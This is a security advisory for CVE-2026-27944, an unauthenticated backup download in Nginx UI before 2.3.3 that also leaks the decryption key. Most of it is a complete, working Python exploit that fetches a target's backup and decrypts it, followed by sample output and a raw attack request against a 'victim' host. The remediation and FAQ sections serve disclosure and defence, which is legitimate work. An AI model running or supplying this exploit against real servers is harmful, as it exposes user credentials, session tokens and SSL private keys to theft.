CVE-2026-27944: Nginx UI: Unauthenticated Backup Download with Encryption Key Disclosure
Summary
The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.
Vulnerability Details
| Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | api/backup/router.go | | Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) | | Secondary File | internal/backup/backup.go | | CVSS 3.1 | 9.8 (Critical) | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Root Cause
The vulnerability exists due to two critical security flaws:
1. Missing Authentication on /api/backup Endpoint
In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:
go func InitRouter(r gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware }
For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.
2. Encryption Keys Disclosed in HTTP Response Headers
In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:
go func CreateBackup(c gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return }
// Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header
// ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone
// Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) }
The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.
3. Backup Contents
The backup archive (created in internal/backup/backup.go) contains:
go // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates
- nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/ // Virtual host configs └── ssl/ // SSL private keys
- hashinfo.txt (encrypted) └── SHA-256 hashes for integrity verification
All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.
Proof of Concept
Python script
python #!/usr/bin/env python3
""" POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security
Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """
import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO
try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1)
def parsekeys(hdrval: str): """ Parse X-Backup-Security header format: "base64key:base64iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdrval or "").strip()
# Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip()
return None, None
def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64)
if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")
cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)
def extractbackup(encryptedzippath: str, keyb64: str, ivb64: str, outputdir: str): """Extract and decrypt the backup archive""" print(f"\n[] Extracting encrypted backup to {outputdir}")
os.makedirs(outputdir, existok=True)
# Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encryptedzippath, 'r') as mainzip: print(f"[] Main archive contains: {mainzip.namelist()}") mainzip.extractall(outputdir)
# Decrypt each file encryptedfiles = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"]
for filename in encryptedfiles: filepath = os.path.join(outputdir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue
print(f"[] Decrypting {filename}...")
with open(filepath, "rb") as f: encrypted = f.read()
try: decrypted = decryptaescbc(encrypted, keyb64, ivb64)
# Write decrypted file decryptedpath = filepath.replace(".zip", "decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decryptedpath, "wb") as f: f.write(decrypted)
print(f" → Saved to {decryptedpath} ({len(decrypted)} bytes)")
# If it's a ZIP, extract it if filename.endswith(".zip"): extractdir = os.path.join(outputdir, filename.replace(".zip", "")) os.makedirs(extractdir, existok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as innerzip: innerzip.extractall(extractdir) print(f" → Extracted {len(innerzip.namelist())} files to {extractdir}")
except Exception as e: print(f" ✗ Failed to decrypt {filename}: {e}")
# Show hash info hashinfopath = os.path.join(outputdir, "hashinfo.txt.decrypted") if os.path.exists(hashinfopath): print(f"\n[] Hash info:") with open(hashinfopath, "r") as f: print(f.read())
def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.addargument("--decrypt", action="storetrue", help="Decrypt the backup after download") ap.addargument("--extract-dir", default="backupextracted", help="Directory to extract decrypted files")
args = ap.parseargs()
url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")
# Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET")
try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = parsekeys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1)
with open(args.out, "wb") as f: f.write(data)
# Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}")
if key and iv: # Verify key/IV lengths try: keybytes = base64.b64decode(key) ivbytes = base64.b64decode(iv) print(f"\n[] Key length: {len(keybytes)} bytes (AES-256 ✓)") print(f"[] IV length : {len(ivbytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1)
if args.decrypt: try: extractbackup(args.out, key, iv, args.extractdir)
except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.printexc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}")
if name == "main": main()
bash Download and decrypt backup (no authentication required) pip install pycryptodome python poc.py --target http://victim:9000 --decrypt
X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==
[] Key length: 32 bytes (AES-256 ✓) [] IV length : 16 bytes (AES block size ✓)
[] Extracting encrypted backup to backupextracted [] Main archive contains: ['hashinfo.txt', 'nginx-ui.zip', 'nginx.zip'] [] Decrypting hashinfo.txt... → Saved to backupextracted/hashinfo.txt.decrypted (199 bytes) [] Decrypting nginx-ui.zip... → Saved to backupextracted/nginx-uidecrypted.zip (12510 bytes) → Extracted 2 files to backupextracted/nginx-ui [] Decrypting nginx.zip... → Saved to backupextracted/nginxdecrypted.zip (5682 bytes) → Extracted 17 files to backupextracted/nginx
[] Hash info: nginx-uihash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginxhash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2
HTTP Request (Raw)
http GET /api/backup HTTP/1.1 Host: victim:9000
No authentication required - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in X-Backup-Security header
Example Response
http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
[Binary ZIP data]
The X-Backup-Security header contains: - Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key) - IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)
<img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" />
Resources
- CWE-306: Missing Authentication for Critical Function - CWE-311: Missing Encryption of Sensitive Data - OWASP: Broken Authentication - OWASP: Sensitive Data Exposure - NIST: Key Management Guidelines
Other sources
Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27944?
CVE-2026-27944 has been classified as a critical vulnerability due to its potential impact on data confidentiality.
How do I fix CVE-2026-27944?
To fix CVE-2026-27944, ensure that authentication is enforced on the /api/backup endpoint and upgrade to a patched version of Nginx UI.
What does CVE-2026-27944 affect?
CVE-2026-27944 affects Nginx UI versions prior to 2.3.3, allowing unauthenticated access to sensitive backup data.
What kind of attack can CVE-2026-27944 enable?
CVE-2026-27944 can enable an unauthenticated attacker to download sensitive backup files and retrieve encryption keys.
Is CVE-2026-27944 still a risk if I'm using an updated version of Nginx UI?
No, if you are using Nginx UI version 2.3.3 or later, CVE-2026-27944 does not pose a risk.